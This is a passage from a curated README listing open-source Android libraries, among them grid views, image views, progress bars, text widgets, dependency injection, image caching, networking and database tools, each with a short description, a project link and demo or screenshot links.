https://github.com/etsy/AndroidStaggeredGrid Similar App: Pinterest 1. PinterestLikeAdapterView An Android multi column list view like Pinterest. allow pull to refresh. Project Address: https://github.com/GDG-Korea/PinterestLikeAdapterView Similar App: Pinterest 1. DraggableGridView A drag-and-drop scrolling grid view for Android, extends from ViewGroup. It can swich from up to bottom, If you want switch from left screen to right please use PagedDragDropGrid below Project Address: https://github.com/thquinn/DraggableGridView Demo Apk: https://github.com/thquinn/DraggableGridView/blob/master/bin/DraggableGridViewSample.apk?raw=true You can customize the width and height of item,and the count of item each line,You can also customize the padding of line.Default value is 20dp. Project Address: [DraggableGridView](https://github.com/andyken/DraggableGridView) Renderings: ![Renderings](https://github.com/andyken/DraggableGridView/blob/master/sample/sample.gif) 1. DividedDraggableView Draggable grid view with divided line. Project Address: https://github.com/andyken/DividedDraggableView Renderings: ![Renderings](https://github.com/andyken/DividedDraggableView/blob/master/app/sample.gif) 1. StickyGridHeaders StickyGridHeaders is an Android library that provides a GridView that shows items in sections with headers. By default the section headers stick to the top like the People app in Android 4.x but this can be turned off. Project Address: https://github.com/TonicArtos/StickyGridHeaders Renderings: ![Renderings](https://github-camo.global.ssl.fastly.net/90b57e9383704c400706545225d439e057c6fcc0/687474703a2f2f342e62702e626c6f6773706f742e636f6d2f2d535f4262685758367754592f55517057306377554745492f41414141414141414776552f7a7a4a586a2d50635662592f73313630302f73637265656e2d6c616e6473636170652d736d616c6c65722e706e67) 1. PagedDragDropGrid An Android ViewGroup that implements a paged grid with drag'n'drop moveable items. It can swich from left screen to right, If you want switch from up to bottom please use DraggableGridView above Project Address: https://github.com/mrKlar/PagedDragDropGrid Demo视频:http://youtu.be/FYTSRfthSuQ 1. Android-DraggableGridViewPager Zaker style grid view pager, support dragging & rearrange, using as zaker's main screen. Project Address: https://github.com/zzhouj/Android-DraggableGridViewPager Demo Apk: https://github.com/Trinea/trinea-download/blob/master/draggable-grid-viewpager-demo.apk?raw=true 1. GridView with Header and Footer Same with `ListView`. It allows you call `addHeaderView()`, `addFooterView` to add views to GridView. Project Address:https://github.com/liaohuqiu/android-GridViewWithHeaderAndFooter Renderings:![Screen Shot](https://raw.githubusercontent.com/liaohuqiu/android-GridViewWithHeaderAndFooter/master/screen-shot.png) <a href="https://github.com/Trinea/android-open-project/edit/master/English%20Version/README.md#include" title="Back to directory" style="width:100%"><img src="http://farm4.staticflickr.com/3737/12167413134_edcff68e22_o.png" align="right"/></a> #### 6. ImageView 1. PhotoView Implementation of ImageView for Android that supports zooming, by various touch gestures, like multi-touch and double-tap. Works perfectly when using used in a scrolling parent (such as ViewPager). Allows the application to be notified when the displayed Matrix has changed. Useful for when you need to update your UI based on the current zoom/scroll position. Project Address: https://github.com/chrisbanes/PhotoView Demo Apk: https://play.google.com/store/apps/details?id=uk.co.senab.photoview.sample Similar App: photup 1. android-gif-drawable Views and Drawable for displaying animated GIFs on Android. Bundled GIFLib via JNI is used to render frames. This way should be more efficient than WebView or Movie classes. Animation starts automatically and run only if View with attached GifDrawable is visible. Project Address: https://github.com/koral--/android-gif-drawable 1. ImageViewEx Extension of Android's ImageView that supports animated GIFs and includes a better density management. Project Address: https://github.com/frapontillo/ImageViewEx Demo Apk: https://github.com/Trinea/TrineaDownload/blob/master/imageviewex-demo.apk?raw=true 1. RoundedImageView A fast ImageView that supports rounded corners and ovals or circles Project Address: https://github.com/vinc3m1/RoundedImageView Renderings: ![Renderings](https://raw.github.com/makeramen/RoundedImageView/master/screenshot.png) 1. SelectableRoundedImageView ImageView that supports different radiuses on each corner. It also supports oval(and circle) shape and border. Project Address: https://github.com/pungrue26/SelectableRoundedImageView Demo Apk: https://play.google.com/store/apps/details?id=com.joooonho Renderings: ![Renderings](https://camo.githubusercontent.com/25d2e5fb8783b5dd09c00b03091172a79c69350e/687474703a2f2f692e696d6775722e636f6d2f55355653376d322e706e673f31) 1. ColorArt iTunes 11-style color matching code for Android, is a library that uses an image to create a themed image/text display Project Address: https://github.com/MichaelEvans/ColorArt Demo Apk: https://github.com/Trinea/TrineaDownload/blob/master/color-art-demo.apk?raw=true 1. CircleImageView A circular ImageView for Android Project Address: https://github.com/hdodenhof/CircleImageView Renderings: ![Renderings](https://raw.github.com/hdodenhof/CircleImageView/master/screenshot.png) 1. ImageViewZoom Android ImageView widget with zoom and pan capabilities Project Address: https://github.com/sephiroth74/ImageViewZoom Similar App: https://play.google.com/store/apps/details?id=com.aviary.android.feather 1. KenBurnsView Android library that provides an extension to ImageView that creates an immersive experience by animating its drawable using the Ken Burns Effect. Project Address: https://github.com/flavioarfaria/KenBurnsView 1. CustomShapeImageView Custom shape ImageView using PorterDuffXfermode with paint shapes and SVGs. Project Address: https://github.com/MostafaGazar/CustomShapeImageView Renderings: ![Renderings](https://raw.github.com/MostafaGazar/CustomShapeImageView/master/Screenshot_2013-11-05-23-08-12.png) <a href="https://github.com/Trinea/android-open-project/edit/master/English%20Version/README.md#include" title="Back to directory" style="width:100%"><img src="http://farm4.staticflickr.com/3737/12167413134_edcff68e22_o.png" align="right"/></a> #### 7. ProgressBar 1. SmoothProgressBar A small Android library allowing you to have a smooth and customizable horizontal indeterminate ProgressBar Project Address: https://github.com/castorflex/SmoothProgressBar Demo Apk: https://play.google.com/store/apps/details?id=fr.castorflex.android.smoothprogressbar.sample 1. ProgressWheel A progress wheel for android, intended for use instead of the standard progress bar. Project Address: https://github.com/Todd-Davies/ProgressWheel Demo Apk: https://github.com/Trinea/TrineaDownload/blob/master/progress-wheel-demo.apk?raw=true 1. android-square-progressbar A progressbar which go's around an image. Project Address: https://github.com/mrwonderman/android-square-progressbar Demo Apk: https://play.google.com/store/apps/details?id=net.yscs.android.square_progressbar_example Similar App: square Renderings: ![Renderings](https://googledrive.com/host/0BwESwPCuXtw7eExwSFVLQkR2TTg/newscreen1.png) 1. HoloCircularProgressBar HoloCircularProgressBar is a Custom View implementation for Android you might know from the Android Clock App from Android 4.1 Project Address: https://github.com/passsy/android-HoloCircularProgressBar Similar App: Android4.1 Clock App Renderings: ![Renderings](https://raw.github.com/passsy/android-HoloCircularProgressBar/master/raw/screenshot1.png) 1. ProgressButton A custom progress indicator with a tiny footprint. Project Address: https://github.com/f2prateek/progressbutton Document: http://f2prateek.com/progressbutton/ Renderings: ![Renderings](http://f2prateek.com/progressbutton/static/states.png) 1. GoogleProgressBar Android library to display different kind of google related animations for the progressBar. Project Address: https://github.com/jpardogo/GoogleProgressBar Renderings: ![Renderings](https://raw.githubusercontent.com/jpardogo/GoogleProgressBar/master/art/GoogleProgressBar.gif) 1. TH-ProgressButton Circular progress View button inspired by FFCircularProgressView Project Address: https://github.com/torryharris/TH-ProgressButton Renderings: ![Renderings](https://raw.github.com/Vyshakh-K/TH-ProgressButton/master/screenshots/progressshot1.png) ![Renderings](https://raw.github.com/Vyshakh-K/TH-ProgressButton/master/screenshots/progressshot2.png) ![Renderings](https://raw.github.com/Vyshakh-K/TH-ProgressButton/master/screenshots/progressshot3.png) ![Renderings](https://raw.github.com/Vyshakh-K/TH-ProgressButton/master/screenshots/progressshot4.png) 1. NumberProgressBar ProgressBar with percentage number Project Address:https://github.com/daimajia/NumberProgressBar Renderings: ![Renderings](https://camo.githubusercontent.com/0c92568af7ec4e04e2e1503acdd2ca99854ab0b5/687474703a2f2f7777332e73696e61696d672e636e2f6d773639302f36313064633033346a77316566797264386e376937673230637a30326d7135662e676966) 1. CircularProgressDrawable Circular Progress Drawable Project Address:https://github.com/Sefford/CircularProgressDrawable Renderings: ![Renderings](https://raw.githubusercontent.com/Sefford/CircularProgressDrawable/master/overshoot.gif) 1. Android-RoundCornerProgressBar Android ProgressBar drawing Round Corner Project Address:https://github.com/akexorcist/Android-RoundCornerProgressBar Renderings: ![Renderings](https://raw.githubusercontent.com/akexorcist/Android-RoundCornerProgressBar/master/image/screenshot_02.png) 1. circular-progress-button Button could switch to show circular progress Project Address:https://github.com/dmytrodanylyk/circular-progress-button Renderings: ![Renderings](https://raw.githubusercontent.com/dmytrodanylyk/circular-progress-button/master/screenshots/intro.gif) 1. WaveView A ProgressBar which showing wave look progress Project Address:https://github.com/john990/WaveView Demo地址:https://raw.github.com/john990/WaveView/master/screenshot%26apk/demo.unaligned.apk Renderings: ![Renderings](https://camo.githubusercontent.com/60722e9d4f2d2daa78a8650cb27a32adea82bdd4/68747470733a2f2f7261772e6769746875622e636f6d2f6a6f686e3939302f57617665566965772f6d61737465722f73637265656e73686f7425323661706b2f73637265656e73686f742e676966) 1. MaterialLoadingProgressBar MaterialLoadingProgressBar provide a styled ProgressBar which looks like SwipeRefreshLayout's loading indicator(support-v4 v21+) Project Address:https://github.com/lsjwzh/MaterialLoadingProgressBar Renderings: ![Renderings](https://github.com/lsjwzh/MaterialLoadingProgressBar/raw/master/screen.gif) <a href="https://github.com/Trinea/android-open-project/edit/master/English%20Version/README.md#include" title="Back to directory" style="width:100%"><img src="http://farm4.staticflickr.com/3737/12167413134_edcff68e22_o.png" align="right"/></a> 1. LoadingDrawable some beautiful android loading drawable, can be combined with any view as the loading view and the progressbar.<br> Project Address:https://github.com/dinuscxj/LoadingDrawable Renderings: <br/> ![LoadingDrawable](https://raw.githubusercontent.com/dinuscxj/LoadingDrawable/master/Preview/AnimalDrawable.gif?width=300) ![LoadingDrawable](https://raw.githubusercontent.com/dinuscxj/LoadingDrawable/master/Preview/SceneryDrawable.gif?width=300) ![LoadingDrawable](https://raw.githubusercontent.com/dinuscxj/LoadingDrawable/master/Preview/CircleJumpDrawable.gif?width=300) ![LoadingDrawable](https://raw.githubusercontent.com/dinuscxj/LoadingDrawable/master/Preview/CircleRotateDrawable.gif?width=300) 1. StackedHorizontalProgressBar Stacked dual progress indicator progressbar Project Address:https://github.com/nisrulz/stackedhorizontalprogressbar Renderings: </br> ![Sc1](https://github.com/nisrulz/stackedhorizontalprogressbar/blob/master/img/sc1.png) #### 8. TextView include TextView and other views extend TextView, like EditText, Button, RadioButton and so on 1. android-flowtextview A TextView for Android which supports text wrapping around other views Project Address: https://code.google.com/p/android-flowtextview/ Renderings: http://i949.photobucket.com/albums/ad332/vostroman1500/1.png 1. Android Form EditText Android form edit text is an extension of EditText that brings data validation facilities to the edittext. Project Address: https://github.com/vekexasia/android-edittext-validator Demo Apk: https://play.google.com/store/apps/details?id=com.andreabaccega.edittextformexample 1. Emojicon A library to show emoji in TextView, EditText (like WhatsApp) for Android Project Address: https://github.com/rockerhieu/emojicon Document: http://rockerhieu.com/emojicon/ 1. android-circlebutton Circle button widget for Android, extend from ImageView actually Project Address: https://github.com/markushi/android-circlebutton Demo Apk: https://github.com/markushi/android-circlebutton/blob/master/example/example.apk 1. Segmented Radio Buttons for Android Android implementation of iPhone's segmented control Project Address: https://github.com/vinc3m1/android-segmentedradiobutton Demo Apk: https://github.com/thquinn/DraggableGridView/blob/master/bin/DraggableGridViewSample.apk?raw=true Renderings: ![Renderings](https://raw.github.com/vinc3m1/android-segmentedradiobutton/master/screens/segmentedradio.png) 1. Chips EditText Library Chips EditText, Token EditText, Bubble EditText, Spannable EditText and etc.. There are many names of this control. Implement by SpannableStringBuilder actually Project Address: https://github.com/kpbird/chips-edittext-library Demo Apk: https://github.com/kpbird/chips-edittext-library/tree/master/ChipsEditTextDemo/bin 1. AutoFitTextView A TextView that automatically resizes text to fit perfectly within its bounds. Project Address: https://github.com/grantland/android-autofittextview 1. Shimmer for Android An Android TextView with a shimmering effect Project Address: https://github.com/RomainPiel/Shimmer-android 1. Titanic Android experiment showing a sinking TextView Project Address: https://github.com/RomainPiel/Titanic Renderings: ![Renderings](https://github.com/RomainPiel/Titanic/raw/master/titanic.gif) <a href="https://github.com/Trinea/android-open-project/edit/master/English%20Version/README.md#include" title="Back to directory" style="width:100%"><img src="http://farm4.staticflickr.com/3737/12167413134_edcff68e22_o.png" align="right"/></a> 1. MoneyTextView A TextView used for inputing and adding money Project Address: https://github.com/andyken/MoneyTextView Renderings: ![Renderings](https://github.com/andyken/MoneyTextView/blob/master/sample/sample1.gif) #### 9. Others 1. youtube-play-icon Material style morphing play-pause icon Project Address: https://github.com/alxrm/youtube-play-icon Renderings: ![Renderings](https://raw.githubusercontent.com/alxrm/youtube-play-icon/master/art/play.gif) 1. achartengine AChartEngine is a charting library for Android applications. It currently supports the following chart types: line chart, area chart, scatter chart, time chart, bar chart, pie chart, bubble chart, doughnut chart, range (high-low) bar chart, dial chart / gauge, combined (any combination of line, cubic line, scatter, bar, range bar, bubble) chart, cubic line chart and so on. Project Address: https://code.google.com/p/achartengine/ Official Website: http://www.achartengine.org/ Renderings: ![Renderings](http://www.achartengine.org/dimages/average_temperature.png) http://www.achartengine.org/dimages/sales_line_and_area_chart.png http://www.achartengine.org/dimages/temperature_range_chart.png http://www.achartengine.org/dimages/combined_chart.png http://www.achartengine.org/dimages/budget_chart.png Similar App: Wordpress Android,Google Analytics 1. GraphView Android Graph Library for creating zoomable and scrollable line and bar graphs. Project Address: https://github.com/jjoe64/GraphView Demo Project: https://github.com/jjoe64/GraphView-Demos Demo Apk: https://play.google.com/store/apps/details?id=com.sothree.umano Similar App: Wordpress Android,Google Analytics 1. android-flip A component for flip animation on Android, which is similar to the effect in Flipboard iPhone/Android Project Address: https://github.com/openaphid/android-flip Demo Apk: https://github.com/openaphid/android-flip/blob/master/FlipView/Demo/APK/Aphid-FlipView-Demo.apk?raw=true Similar App: flipboard 1. FlipImageView Small android lib allowing you to make a flip imageview easily, by extending FlipImageView. Project Address: https://github.com/castorflex/FlipImageView Demo Apk: https://play.google.com/store/apps/details?id=fr.castorflex.android.flipimageview 1. SwipeBackLayout An Android library that help you to build app with swipe back gesture. Project Address: https://github.com/Issacw0ng/SwipeBackLayout Demo Apk: https://play.google.com/store/apps/details?id=me.imid.swipebacklayout.demo Similar App: Zhihu 1. Cards-UI A library that allows you to easily mimic Google Play's card layout on Android. Project Address: https://github.com/afollestad/Cards-UI Demo Apk: https://github.com/Trinea/TrineaDownload/blob/master/cards-ui-demo.apk?raw=true 1. cardslib Card Library provides an easy way to display a UI Card in your Android app. You can display single cards, list of cards and grid or staggered grid of Cards. Project Address: https://github.com/gabrielemariotti/cardslib Demo Apk: https://play.google.com/store/apps/details?id=it.gmariotti.cardslib.demo 1. android-styled-dialogs A simple library for styling Android dialogs in the Holo theme. It also removes boilerplate code for displaying simple dialogs. Project Address: https://github.com/inmite/android-styled-dialogs Demo Apk: https://github.com/Trinea/TrineaDownload/blob/master/styled-dialogs-demo.apk?raw=true 1. Crouton Context sensitive notifications for Android, like toast. include style like alert, comfirm, info and click to dismiss, allow to set time of diaplay and customed view Project Address: https://github.com/keyboardsurfer/Crouton Demo Apk: http://play.google.com/store/apps/details?id=de.keyboardsurfer.app.demo.crouton 1. supertooltips SuperToolTips is an Open Source Android library that allows developers to easily create Tool Tips for views. Project Address: https://github.com/nhaarman/supertooltips Demo Apk: https://play.google.com/store/apps/details?id=com.haarman.supertooltips 1. Android ViewBadger A simple way to "badge" any given Android view at runtime without having to cater for it in layout Project Address: https://github.com/jgilfelt/android-viewbadger Demo Apk: https://github.com/Trinea/TrineaDownload/blob/master/android-viewbadger.apk?raw=true Renderings: https://github-camo.global.ssl.fastly.net/a705a3e88c75ae2394943bd7c56f725697616ea8/687474703a2f2f7777772e6a65666667696c66656c742e636f6d2f766965776261646765722f76622d31612e706e67 1. Android Sliding Up Panel This library provides a simple way to add a draggable sliding up panel (popularized by Google Music, Google Maps and Rdio) to your Android application. Umano Team <3 Open Source. Project Address: https://github.com/umano/AndroidSlidingUpPanel Demo Apk: https://play.google.com/store/apps/details?id=com.sothree.umano Similar App: Google Music 1. android-times-square Standalone Android widget for picking a single date from a calendar view. Project Address: https://github.com/square/android-times-square Demo Apk: https://github.com/Trinea/TrineaDownload/blob/master/times-square-demo.apk?raw=true 1. android-calendar-card Android calendar view (like card) Project Address: https://github.com/kenumir/android-calendar-card Demo Apk: https://play.google.com/store/apps/details?id=com.wt.calendarcardsample Renderings: ![Renderings](https://raw.github.com/kenumir/android-calendar-card/master/calendar-card-sample/_work/device-2013-10-12-151801.png) 1. ColorPickerView A simple yet beautiful color picker component for Android. Project Address: https://code.google.com/p/color-picker-view/ Renderings: ![Renderings](http://oi41.tinypic.com/33c6mm8.jpg) 1. HoloColorPicker An Android Holo themed colorpicker Project Address: https://github.com/LarsWerkman/HoloColorPicker Demo Apk: https://docs.google.com/file/d/0BwclyDTlLrdXRzVnTGJvTlRfU2s/edit 1. AndroidWheel Custom wheel widget for android Project Address: https://github.com/sephiroth74/AndroidWheel Renderings: ![Renderings](http://farm6.staticflickr.com/5532/11621528786_220c040ba5_o.jpg) 1. TableFixHeaders Android library that implements a table with fixed headers. Project Address: https://github.com/InQBarna/TableFixHeaders Demo Apk: http://bit.ly/13buAIq 1. UITableView Library and example project on how to use the UITableView component Project Address: https://github.com/thiagolocatelli/android-uitableview Demo Apk: https://github.com/Trinea/TrineaDownload/blob/master/ui-tableview-demo.apk?raw=true 1. ATableView Create iOS-like tables (UITableView) for Android, using UIKit object model Project Address: https://github.com/dmacosta/ATableView Demo Apk: https://play.google.com/store/apps/details?id=com.nakardo.atableview.demo 1. UndoBar The UI component for Android advanced UI pattern undo-bar, used in Gmail app Project Address: https://github.com/soarcn/UndoBar Renderings: ![Renderings](https://github.com/soarcn/UndoBar/blob/master/art/redo.png?raw=true) 1. Inscription Inscription is an open source library to display information about your Android app, like info of change or new feature Project Address: https://github.com/MartinvanZ/Inscription 1. ActivityTransition An android project presenting some transitions you can use between activities, like fade, flip, fly into and so on Project Address: https://github.com/ophilbert/ActivityTransition Demo Apk: https://github.com/jfeinstein10/JazzyViewPager/blob/master/JazzyViewPager.apk?raw=true 1. GlowPadBackport A backport of the Android 4.2 GlowPadView that works on the SDK on API levels 4+ Project Address: https://github.com/rock3r/GlowPadBackport Demo Apk: https://play.google.com/store/apps/details?id=net.sebastianopoggi.samples.ui.GlowPadSample Renderings: ![Renderings](https://lh6.ggpht.com/U070b6Lh6cVsVwx4jN-5nq0xqiB1PBzrYABPeJIEe2hZQ5UWOxc-FDUG77wADelToHA=h310-rw) 1. GlowPadView GlowPadView for Android is a great library to implement Googles lockscreen and new alarmclock style. Project Address: https://github.com/nadavfima/GlowPadView Renderings: https://raw.github.com/nadavfima/GlowPadView/master/example.png 1. android-lockpattern Lockpattern activity for Android Project Address: https://code.google.com/p/android-lockpattern/ Demo Apk: https://play.google.com/store/apps/details?id=group.pals.android.lib.ui.lockpattern.demo Document: https://code.google.com/p/android-lockpattern/wiki/QuickUse 1. PatternLock Yet another pattern lock library for Android Project Address:https://github.com/DreaminginCodeZH/PatternLock Demo Apk:https://github.com/DreaminginCodeZH/PatternLock/raw/master/dist/sample.apk Renderings:![Renderings](https://github.com/DreaminginCodeZH/PatternLock/raw/master/image/sample_small.png) 1. RangeBar Android widget for selecting a range of values. It provides for the selection of a range of values rather than a single value. Project Address: https://github.com/edmodo/range-bar Demo Apk: https://github.com/Trinea/TrineaDownload/blob/master/range-bar-demo.apk?raw=true Renderings: ![Renderings](http://i.imgur.com/q85GhRjl.png) 1. SuperToasts The SuperToasts library enhances and builds upon the Android Toast class. Some of the features of this library include context sensitive toasts (SuperActivityToasts), toasts with buttons and icons, non context sensitive toasts (SuperToasts), and a new style of toasts (SuperCardToasts) with many customization options for each. Project Address: https://github.com/JohnPersano/SuperToasts Demo Apk: https://play.google.com/store/apps/details?id=com.supertoastsdemo Renderings: ![SuperButtonToast](http://i1331.photobucket.com/albums/w597/JohnPersano/supertoasts_githubimage_zps8a5ceb7c.png) 1. GoogleDateTimePickers New Google Date and time pickers Project Address: https://github.com/Mirkoddd/GoogleDateTimePickers Document: https://play.google.com/store/apps/details?id=com.mirko.sample&hl=it 1. UndoBar An implementation of Android's Undo Bar as seen in Google's Gmail app. Project Address: https://github.com/jenzz/Android-UndoBar Renderings: ![Renderings](https://raw.github.com/jenzz/Android-UndoBar/master/assets/Screenshot2.png) 1. ColorPickerPreference ColorPickerPreference for android to create color picker in preferences. Project Address: https://github.com/attenzione/android-ColorPickerPreference Renderings: ![Renderings](https://github.com/attenzione/android-ColorPickerPreference/raw/master/screen_2.png) 1. HoloGraphLibrary This is a library written to allow beautiful graphs and charts to be easily incorporated into your Android application. Project Address: https://bitbucket.org/danielnadeau/holographlibrary/src Document: https://bitbucket.org/danielnadeau/holographlibrary/wiki/Home 1. ChromeView Android WebView implementation that uses the latest Chromium code Project Address: https://github.com/pwnall/chromeview 1. Discrollview DiscrollView support Item fading in or out, translate or scale Project Address: https://github.com/flavienlaurent/discrollview Demo Apk: https://github.com/flavienlaurent/discrollview/raw/master/sample.apk 1. Android Slider Preference Library Android library that allows applications to add dialog-based slider widgets to their settings Project Address: https://github.com/jayschwa/AndroidSliderPreference 1. ShowcaseView library Highlight the best bits of your app to users quickly Project Address: https://github.com/amlcurran/ShowcaseView 1. android-segmented-control ios7 UISegmentedControl for android Project Address: https://github.com/hoang8f/android-segmented-control 1. PullScrollView Pull and background rebound effect Project Address: https://github.com/MarkMjw/PullScrollView Renderings: ![Renderings](https://raw.github.com/MarkMjw/PullScrollView/master/Screenshots/1.png) <a href="https://github.com/Trinea/android-open-project/edit/master/English%20Version/README.md#include" title="Back to directory" style="width:100%"><img src="http://farm4.staticflickr.com/3737/12167413134_edcff68e22_o.png" align="right"/></a> 1. ArcLayout A very simple arc layout library Project Address: https://github.com/ogaclejapan/ArcLayout Demo Apk: https://play.google.com/store/apps/details?id=com.ogaclejapan.arclayout.demo Renderings: ![Renderings](https://raw.githubusercontent.com/ogaclejapan/ArcLayout/master/art/demo1.gif) 1. FinestWebView Beautiful and customizable Android Activity that shows web pages within an app. Project Address: https://github.com/TheFinestArtist/FinestWebView-Android Sample App: https://play.google.com/store/apps/details?id=com.thefinestartist.finestwebview.sample Renderings: ![Renderings](https://github.com/TheFinestArtist/FinestWebView-Android/blob/master/art/screenshots.png?raw=true) 1. YouTubePlayerActivity Simply pass a url to play youtube video in new activity. It supports screen orientation, media volume control and etc. Project Address: https://github.com/TheFinestArtist/YouTubePlayerActivity Sample App: https://play.google.com/store/apps/details?id=com.thefinestartist.ytpa.sample Renderings: ![Renderings](https://github.com/thefinestartist/YouTubePlayerActivity/blob/master/art/preview.gif) 1. TristateToggleButton Customizable tri-state toggle button (with three states, three state toggle) for Android Project Address: https://github.com/BeppiMenozzi/TriStateToggleButton 1. Knob Fully customizable rotating knob selector with discrete values for Android. Replaces radio buttons, integer value inputs and ViewPager indicators. Project Address: https://github.com/BeppiMenozzi/Knob 1. Spotlight Android Library that lights items for tutorials or walk-throughs etc... Project Address: https://github.com/TakuSemba/Spotlight Renderings: ![Renderings](https://raw.githubusercontent.com/takusemba/spotlight/master/arts/customTarget.gif) 1. SpeedView Dynamic Speedometer and Gauge for Android. amazing, powerful, and multi shape :zap: Project Address: https://github.com/anastr/SpeedView Renderings: ![Renderings](https://raw.githubusercontent.com/anastr/SpeedView/master/images/AwesomeSpeedometer.gif) ## 2. Common Util Libs Include Dependency Injection, ImageCache, Network, Database ORM, Android common lib, Compatible low version, Multimedia, Event Bus, Sensor, Security, Plug-in, File, Others<a href="https://github.com/Trinea/android-open-project/edit/master/English%20Version/README.md#include" title="Back to directory" style="width:100%"><img src="http://farm4.staticflickr.com/3737/12167413134_edcff68e22_o.png" align="right"/></a> #### 1. Dependency Injection Speeds up Android development by dependency injection 1. AndroidAnnotations(Code Diet) AndroidAnnotations is an Open Source framework that speeds up Android development. It takes care of the plumbing, and lets you concentrate on what's really important. Project Address: https://github.com/excilys/androidannotations Document: https://github.com/excilys/androidannotations/wiki Official Website: http://androidannotations.org/ 1. roboguice RoboGuice 2 takes the guesswork out of development. Inject your View, Resource, System Service, or any other object, and let RoboGuice 2 take care of the details. Project Address: https://github.com/roboguice/roboguice Document: https://github.com/roboguice/roboguice/wiki 1. butterknife View "injection" library for Android. Project Address: https://github.com/JakeWharton/butterknife Document: http://jakewharton.github.io/butterknife/ 1. Dagger A fast dependency injector for Android and Java. Project Address: https://github.com/square/dagger Document: http://square.github.io/dagger/ 1. Anvil A small library for building reactive UI components, data binding and event listener injection. Inspired by React. Project Address: https://github.com/zserge/anvil Document: http://anvil.site/ <a href="https://github.com/Trinea/android-open-project/edit/master/English%20Version/README.md#include" title="Back to directory" style="width:100%"><img src="http://farm4.staticflickr.com/3737/12167413134_edcff68e22_o.png" align="right"/></a> #### 2. Image Cache 1. Android-Universal-Image-Loader Powerful and flexible library for loading, caching and displaying images on Android. Project Address: https://github.com/nostra13/Android-Universal-Image-Loader Demo Apk: https://github.com/Trinea/TrineaDownload/blob/master/universal-imageloader-demo.apk?raw=true Document: http://www.intexsoft.com/blog/item/74-universal-image-loader-part-3.html 1. picasso A powerful image downloading and caching library for Android Project Address: https://github.com/square/picasso Document: http://square.github.io/picasso/ 1. ImageCache Image Cache, support multi caching algorithms Project Address: https://github.com/Trinea/AndroidCommon Demo Apk: https://play.google.com/store/apps/details?id=cn.trinea.android.demo Document: https://www.trinea.cn/android/android-imagecache/ 1. Cube ImageLoader Easy to use, high performance, used in some of the Apps in Alibaba Group. Project Address:https://github.com/etao-open-source/cube-sdk Demo Apk:https://github.com/liaohuqiu/cube-sdk/raw/master/cube-sdk-sample.apk Document:http://cube-sdk.liaohuqiu.net/ Renderings: ![Screen Shot](https://raw.githubusercontent.com/etao-open-source/cube-sdk/dev/screen-shot.png) <a href="https://github.com/Trinea/android-open-project/edit/master/English%20Version/README.md#include" title="Back to directory" style="width:100%"><img src="http://farm4.staticflickr.com/3737/12167413134_edcff68e22_o.png" align="right"/></a> #### 3. Network 1. Retrofit Type-safe REST client for Android and Java by Square Project Address: https://github.com/square/retrofit Document: http://square.github.io/retrofit/ 1. okhttp An HTTP+SPDY client for Android and Java applications. Project Address: https://github.com/square/okhttp Document: http://square.github.io/okhttp/ 1. Asynchronous Http Client for Android An asynchronous, callback-based Http client for Android built on top of Apache's HttpClient libraries. Project Address: https://github.com/loopj/android-async-http Document: http://loopj.com/android-async-http/ 1. android-query Android-Query (AQuery) is a light-weight library for doing asynchronous tasks and manipulating UI elements in Android. Project Address: https://code.google.com/p/android-query/ Document: https://code.google.com/p/android-query/#Why_AQuery? Demo Apk: https://play.google.com/store/apps/details?id=com.androidquery 1. Async Http Client Asynchronous Http and WebSocket Client library for Java Project Address: https://github.com/AsyncHttpClient/async-http-client Document: http://sonatype.github.io/async-http-client/ 1. Ion Android Asynchronous Networking and Image Loading Project Address: https://github.com/koush/ion Document: https://github.com/koush/ion#more-examples 1. Android Networking Android Networking is a powerful library for doing any type of networking in Android Applications Project Address: https://github.com/amitshekhariitbhu/AndroidNetworking Document: http://amitshekhariitbhu.github.io/AndroidNetworking/ 1. Http Request A simple convenience library for using a HttpURLConnection to make requests and access the response. Project Address: https://github.com/kevinsawicki/http-request Document: https://github.com/kevinsawicki/http-request#examples 1. RoboSpice RoboSpice is a modular android library that makes writing asynchronous network requests easy Project Address: https://github.com/stephanenicolas/robospice Demo Apk: https://github.com/stephanenicolas/RoboDemo/downloads <a href="https://github.com/Trinea/android-open-project/edit/master/English%20Version/README.md#include" title="Back to directory" style="width:100%"><img src="http://farm4.staticflickr.com/3737/12167413134_edcff68e22_o.png" align="right"/></a> #### 4. Database 1. greenDAO GreenDAO is a light & fast ORM solution for Android that maps objects to SQLite databases. Being highly optimized for Android, greenDAO offers great performance and consumes minimal memory. Project Address: https://github.com/greenrobot/greenDAO Document: http://greendao-orm.com/documentation/ Official Website: http://greendao-orm.com/ 1. ActiveAndroid Active record style SQLite persistence for Android Project Address: https://github.com/pardom/ActiveAndroid Document: https://github.com/pardom/ActiveAndroid/wiki/_pages 1. Sprinkles Sprinkles is a boiler-plate-reduction-library for dealing with databases in android applications Project Address: https://github.com/emilsjolander/sprinkles Document: http://emilsjolander.github.io/blog/2013/12/18/android-with-sprinkles/ 1. ormlite-android ORMLite Android functionality used in conjunction with ormlite-core Project Address: https://github.com/j256/ormlite-android Document: http://ormlite.com/sqlite_java_android_orm.shtml <a href="https://github.com/Trinea/android-open-project/edit/master/English%20Version/README.md#include" title="Back to directory" style="width:100%"><img src="http://farm4.staticflickr.com/3737/12167413134_edcff68e22_o.png" align="right"/></a> #### 5. Android common lib 1. Guava The Guava project contains several of Google's core libraries that we rely on in our Java-based projects: collections, caching, primitives support, concurrency libraries, common annotations, string processing, I/O, and so forth. Project Address: https://code.google.com/p/guava-libraries/ Document: https://code.google.com/p/guava-libraries/wiki/GuavaExplained 1. Volley Easy, Fast Networking for Android Project Address: https://android.googlesource.com/platform/frameworks/volley Github Address: https://github.com/mcxiaoke/android-volley Document: http://commondatastorage.googleapis.com/io-2013/presentations/110%20-%20Volley-%20Easy,%20Fast%20Networking%20for%20Android.pdf 1. AndroidCommon Android common lib, include ImageCache, HttpCache, DropDownListView, DownloadManager, Utils and so on Project Address: https://github.com/Trinea/AndroidCommon Demo Apk: https://play.google.com/store/apps/details?id=cn.trinea.android.demo Document: https://www.trinea.cn/android/android-common-lib/ 1. shipfaster Sample project demonstrating usage of Dagger + Otto + Robolectric + Retrofit + Picasso + OkHttp Project Address: https://github.com/pyricau/shipfaster 1. CleanAndroidCode This project is a proof of concept to show how to integrate Dagger, Otto and AndroidAnnotations. Project Address: https://github.com/pyricau/CleanAndroidCode <a href="https://github.com/Trinea/android-open-project/edit/master/English%20Version/README.md#include" title="Back to directory" style="width:100%"><img src="http://farm4.staticflickr.com/3737/12167413134_edcff68e22_o.png" align="right"/></a> #### 6. Android Compatible low version 1. ActionBarSherlock Action bar implementation which uses the native action bar on Android 4.0+ and a custom implementation on pre-4.0 through a single API and theme. Project Address: https://github.com/JakeWharton/ActionBarSherlock Demo Apk: 